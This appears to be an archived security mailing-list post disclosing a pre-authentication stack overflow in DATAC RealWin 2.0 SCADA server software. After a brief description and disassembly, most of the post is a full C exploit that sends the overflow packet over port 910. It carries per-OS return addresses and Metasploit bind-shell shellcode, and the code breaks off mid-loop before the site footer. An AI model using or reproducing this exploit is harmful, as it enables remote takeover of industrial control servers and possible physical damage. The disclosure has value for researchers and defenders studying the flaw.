AOH :: HP Unsorted D :: VA1395.HTM

DATAC RealWin 2.0 SCADA Software - Remote PreaAuth Exploit



DATAC RealWin 2.0 SCADA Software - Remote PreaAuth Exploit
DATAC RealWin 2.0 SCADA Software - Remote PreaAuth Exploit



This is a multi-part message in MIME format.
--------------020507050503000207060501
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Hi

---------------------------------

http://www.dataconline.com/software/realwin.php 

"RealWin is a SCADA server product which includes a FlexView HMI and
runs on current Microsoft Windows platforms (2000 and XP). It can
operate on a single PC or multiple PCs connected through a TCP/IP
network. It reads and maintains data returned from field devices using
drivers, stores data for historical access, runs Command Sequence
Language (CSL) scripts and generates alarms as defined in the system."

---------------------------------

The version available for download
(http://www.realflex.com/download/form.php) is likely an old one so 
newer versions may, or may not, be vulnerable. Note that the server is
affected by other flaws, but this one is pretty clear and 100% reliable.

The bug is a classic stack overflow while processing a specially crafted
FC_INFOTAG/SET_CONTROL packet. RealWin server accepts connections from
FlewWin clients which use a propietary protocol. We can exploit this
flaw from remote without having valid credentials .
-----------
.text:0042BFFE                 call    sub_419690 ; Get Packet.PayloadLen

.text:0042C003                 movzx   ecx, ax
.text:0042C006                 mov     edx, ecx
.text:0042C008                 shr     ecx, 2
.text:0042C00B                 mov     esi, ebx

.text:0042C00D                 lea     edi, [esp+638h+var_2E0]
.text:0042C014                 rep movsd
.text:0042C016                 mov     ecx, edx
.text:0042C018                 and     ecx, 3

.text:0042C01B                 rep movsb
-----------

That's all, just for fun.

Regards,
Rub=E9n.

--------------020507050503000207060501
Content-Type: text/plain;
 name="exploit_realwin.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="exploit_realwin.c"

////////////////////////////////////////////////////////////////////
////	DATAC RealWin 2.0 SCADA Software	- Remote PreAuth Exploit -. 
////	--------------------------------------------------------
////	This code can only be used for personal study
////    and/or research purposes on even days.
////
////	The author is not responsible for any illegal usage.
////	So if you flood your neighborhood that's your f******* problem =)
////	---------------
////	Note
////	---------------
////	## The exploit has been tested against a build that seems pretty old.
////	## Therefore this flaw may be not reproducible on newer versions.
////	
////	http://www.dataconline.com 
////	http://www.realflex.com/download/form.php 
////	
////	Ruben Santamarta www.reversemode.com 
////	

#include 
#include 
#include 

#pragma comment(lib,"wsock32.lib")


#define REALWIN_PORT	910
#define PACKET_HEADER_MAGIC 0x67542310

#define EXPLOIT_LEN		0x810
#define PING_LEN		0x200

#define FUNC_INFOTAG_SET_CONTROL	0x5000A
#define FUNC_PING		0x70001


typedef struct {
        const char *szTarget;
        ULONG_PTR retAddr;
} TARGET;


TARGET targets[] = {
		{ "Windows 2000 SP4 [ES]",	0x779D4F6A},	// call esp - oleaut32.dll
        { "Windows 2000 SP4 [EN]",	0x77E3C256 },	// jmp esp - user32.dll
        { "Windows XP SP2 [EN]",	0x7C914393 },	// call  esp - ntdll.dll 
		{ "Windows XP SP2 [ES]",	0x7711139B},	// call esp - oleaut32.dll
		{ NULL,0xFFFFFFFF}
}; 

int main(int argc, char* argv[])
{
	WSADATA ws; 
	SOCKET tcp_socket, tcp_ping; 
	char bBuffer[0x10] = {0};
	struct sockaddr_in peer;
	char *pExploitPacket = NULL;
	char *pPingPacket = NULL;
	ULONG_PTR	uFixed;

/* win32_bind - EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ 
	unsigned char scode[] 	"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
	"\xd8\xfb\x1b\x83\xeb\xfc\xe2\xf4\x59\xb2\x10\x56\x4d\x21\x04\xe4"
	"\x5a\xb8\x70\x77\x81\xfc\x70\x5e\x99\x53\x87\x1e\xdd\xd9\x14\x90"
	"\xea\xc0\x70\x44\x85\xd9\x10\x52\x2e\xec\x70\x1a\x4b\xe9\x3b\x82"
	"\x09\x5c\x3b\x6f\xa2\x19\x31\x16\xa4\x1a\x10\xef\x9e\x8c\xdf\x33"
	"\xd0\x3d\x70\x44\x81\xd9\x10\x7d\x2e\xd4\xb0\x90\xfa\xc4\xfa\xf0"
	"\xa6\xf4\x70\x92\xc9\xfc\xe7\x7a\x66\xe9\x20\x7f\x2e\x9b\xcb\x90"
	"\xe5\xd4\x70\x6b\xb9\x75\x70\x5b\xad\x86\x93\x95\xeb\xd6\x17\x4b"
	"\x5a\x0e\x9d\x48\xc3\xb0\xc8\x29\xcd\xaf\x88\x29\xfa\x8c\x04\xcb"
	"\xcd\x13\x16\xe7\x9e\x88\x04\xcd\xfa\x51\x1e\x7d\x24\x35\xf3\x19"
	"\xf0\xb2\xf9\xe4\x75\xb0\x22\x12\x50\x75\xac\xe4\x73\x8b\xa8\x48"
	"\xf6\x8b\xb8\x48\xe6\x8b\x04\xcb\xc3\xb0\xea\x47\xc3\x8b\x72\xfa"
	"\x30\xb0\x5f\x01\xd5\x1f\xac\xe4\x73\xb2\xeb\x4a\xf0\x27\x2b\x73"
	"\x01\x75\xd5\xf2\xf2\x27\x2d\x48\xf0\x27\x2b\x73\x40\x91\x7d\x52"
	"\xf2\x27\x2d\x4b\xf1\x8c\xae\xe4\x75\x4b\x93\xfc\xdc\x1e\x82\x4c"
	"\x5a\x0e\xae\xe4\x75\xbe\x91\x7f\xc3\xb0\x98\x76\x2c\x3d\x91\x4b"
	"\xfc\xf1\x37\x92\x42\xb2\xbf\x92\x47\xe9\x3b\xe8\x0f\x26\xb9\x36"
	"\x5b\x9a\xd7\x88\x28\xa2\xc3\xb0\x0e\x73\x93\x69\x5b\x6b\xed\xe4"
	"\xd0\x9c\x04\xcd\xfe\x8f\xa9\x4a\xf4\x89\x91\x1a\xf4\x89\xae\x4a"
	"\x5a\x08\x93\xb6\x7c\xdd\x35\x48\x5a\x0e\x91\xe4\x5a\xef\x04\xcb"
	"\x2e\x8f\x07\x98\x61\xbc\x04\xcd\xf7\x27\x2b\x73\x4a\x16\x1b\x7b"
	"\xf6\x27\x2d\xe4\x75\xd8\xfb\x1b";

	int i,c;
	
	system("cls");
	printf("\n\t\t- DATAC RealWin 2.0 SCADA Software -\n");
	printf("\tProtocol Command INFOTAG/SET_CONTROL Stack Overflow\n");
	printf("\nRuben Santamarta - reversemode.com \n\n");

	if( argc < 3 )
	{
		
		printf("\nusage: exploit.exe ip TargetNumber");
		printf("\n\nexample: exploit 192.168.1.44 1\n\n");
		for( i = 0; targets[i].szTarget; i++ )
		{
			printf("\n[ %d ] - %s", i, targets[i].szTarget);
		}
		printf("\n");
		exit(0);
	}

	WSAStartup(0x0202,&ws);

	peer.sin_family = AF_INET;
	peer.sin_port = htons( REALWIN_PORT );
	peer.sin_addr.s_addr = inet_addr( argv[1] ); 

	tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
	
	if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
	{
		printf("\n[!!] Host unreachable :( \n\n");
		exit(0);
	}
	
	pExploitPacket = (char*) calloc( EXPLOIT_LEN, sizeof(char) );
	pPingPacket = (char*) calloc( PING_LEN, sizeof(char) );

	memset( (void*)pExploitPacket, 0x90, EXPLOIT_LEN);
	memset( (void*)pPingPacket, 0x90, PING_LEN);
	
	uFixed =  targets[atoi(argv[2])].retAddr;
	
	for( i=0x0; i< 0xbe; i++)
	{
		*( ( ULONG_PTR* ) (BYTE*)(pExploitPacket  + i*sizeof(ULONG_PTR) +2 )  ) = uFixed;
	}

	// Bypass silly things.
	*( ( ULONG_PTR* ) (BYTE*)(pExploitPacket  + 0xbe*sizeof(ULONG_PTR) +2 )  ) = 0x404040; 

	// MAGIC_HEADER
	*( ( ULONG_PTR* ) pExploitPacket ) = PACKET_HEADER_MAGIC;
	
	//Payload Length
	*( ( ULONG_PTR* ) pExploitPacket + 1 ) = 0x800;				
	
	//MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
	*( (ULONG_PTR*)(( BYTE*) pExploitPacket + 10 ) ) =  FUNC_INFOTAG_SET_CONTROL;
	
	//First Parameter
	*( (ULONG_PTR*)(( BYTE*) pExploitPacket + 14 ) ) =  0x4; // Internal Switch
	
	//Mark
	*( (ULONG_PTR*)(( BYTE*) pExploitPacket + 44 ) ) =  0xDEADBEEF;	// Our marker

	
	memcpy(	(void*)((char*)pExploitPacket + EXPLOIT_LEN - sizeof(scode))
			,scode
			,sizeof(scode)-1);
		
	send(tcp_socket, pExploitPacket, EXPLOIT_LEN, 0 );

	printf("[+] Exploit packet sent...now checking host availability\n");

	// MAGIC_HEADER
	*( ( ULONG_PTR* ) pPingPacket ) = PACKET_HEADER_MAGIC;
	
	//Payload Length
	*( ( ULONG_PTR* ) pPingPacket + 1 ) = 0x20;				
	
	//MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
	*( (ULONG_PTR*)(( BYTE*) pPingPacket + 10 ) ) =  FUNC_PING;
	
	//First Parameter
	*( (ULONG_PTR*)(( BYTE*) pPingPacket + 14 ) ) =  0x1;	// whatever
	
	//Mark
	*( (ULONG_PTR*)(( BYTE*) pPingPacket + 44 ) ) =  0xDEADBEEF; //Our marker

	tcp_ping = socket(AF_INET, SOCK_STREAM, 0);
	
	if ( connect(tcp_ping, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
	{
		printf("\n[!!] Host died, long live to the Host!  \n\n");
		exit(0);
	}
	
	i = recv(tcp_ping, bBuffer, 0x8, 0 );
	
	if( i )
	{
		printf("[+] The host is up and running\n\t:: %d bytes received: ",i);
		for(  c = 0; c

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.